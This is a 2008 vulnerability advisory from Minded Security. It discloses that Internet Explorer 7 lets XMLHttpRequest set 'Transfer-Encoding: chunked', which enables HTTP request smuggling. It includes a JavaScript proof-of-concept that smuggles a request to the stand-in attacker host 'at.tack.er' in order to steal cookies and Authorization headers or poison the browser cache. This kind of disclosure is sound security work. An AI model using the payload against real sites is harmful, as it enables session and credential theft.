[MSA01240108] IE7 Transfer-Encoding: chunked allows Request Splitting/Smuggling.

MSA01240108:
IE7 Transfer-Encoding: chunked allows Request Splitting/Smuggling.

Date: March 21th, 2008

Tested Versions:
Internet Explorer 7.0.5730.11

Tested OS:
Windows XP Professional SP2 Italian

Minded Security ReferenceID:
MSA01240108

Credits:
Discovery by
Stefano Di Paola of Minded Security
stefano.dipaola [at] mindedsecurity.com

Severity: Medium/High

Permalink:
http://www.mindedsecurity.com/MSA01240108.html

[ Summary ]

Internet Explorer 7 allows setting of header "Transfer Encoding:
chunked" in setRequestHeader exposing the browser to Http Request
Splitting/Smuggling attacks.

[ Analysis ]

Let's suppose the following scenery (which is not necessarily the only
one).

• A site vulnerable to reflected Xss is hosted on the same host of
  an attacker site.
• User has no proxy configured.

As IE7 allows setting

setRequestHeader("Transfer-Encoding","chunked");

so, it allows using the payload in a POST request which will be
considered as another request by the web server.

For example:

---

var x=new XMLHttpRequest();

for(var i =0; i<1;i++){
x.open("POST","/");
x.setRequestHeader("Transfer-Encoding","chunked");

x.setRequestHeader("Proxy-Connection","keep-alive");
x.setRequestHeader("Connection","keep-alive");
x.onreadystatechange=function (){
if (x.readyState == 4){
}
}
try{
x.send("0\r\n\r\nPOST / HTTP/1.1\r\nHost:
at.tack.er\r\nContent-Length: SOMELENGTH\r\n\r\n") }catch(r){} }

the request will become:

POST / HTTP/1.1
Accept: /
Accept-Language: it
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache
Referer: http://vi.ct.im/
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: at.tack.er
Content-Length: 67

0

POST /?Send1 HTTP/1.1
Host: at.tack.er
Content-Length: TheLenghtOfTheNextRequest

That way, the web server, will wait for the payload, keeping the
socket open.

Infact RFC 2616 says that :

If a message is received with both a Transfer-Encoding header
field and a Content-Length header field, the latter MUST be
ignored.

So the payload will be parsed as chunked.

Then, by forcing IE to perform several requests on the victim
host, the browser will reuse the previous (open) socket, thus
sending the request as payload to the attacker site.

When at.tack.er host receives the request, there are several attacks,
it could perform:

1. Stealing the headers of the request to vi.ct.im host (httponly
   cookies, Authorization data…)
2. Perform local cache poisoning by using Expire: header from the
   attacker poisoned page.

A proof of concept was developed.

Keep in mind that several other sceneries could be abused as well
(see references).

[ Credits ]

Stefano di Paola is credited with the discovery of this vulnerability.

[ Thanks ]

To Amit Klein for his valuable research.

[ Disclosure Timeline ]

25/01/2008 Initial vendor notification
25/01/2008 Vendor Confirmed
21/03/2008 Public advisory

[ Reference ]

[1] "Http Request Smuggling", Chaim Linhart, Amit Klein, Ronen
Heled, Steve Orrin, 2005.
http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

[2] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing,
and a lot more…", Amit Klein, 2005.
http://www.securityfocus.com/archive/1/411585

[3] "HTTP Header Injection Vulnerabilities in the Flash Player
Plugin", 2006.
http://download2.rapid7.com/r7-0026/

[4] "Auto Injecting Cross Domain Scripting", pp 6-7, Stefano Di Paola,
Giorgio Fedon, 2007
http://www.wisec.it/docs.php?id=4

[ Disclaimer ]

The information within this paper may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
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arising out of or in connection with the use or spread of this
information.
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    Copyright (c) 2008 Minded Security, S.r.l..

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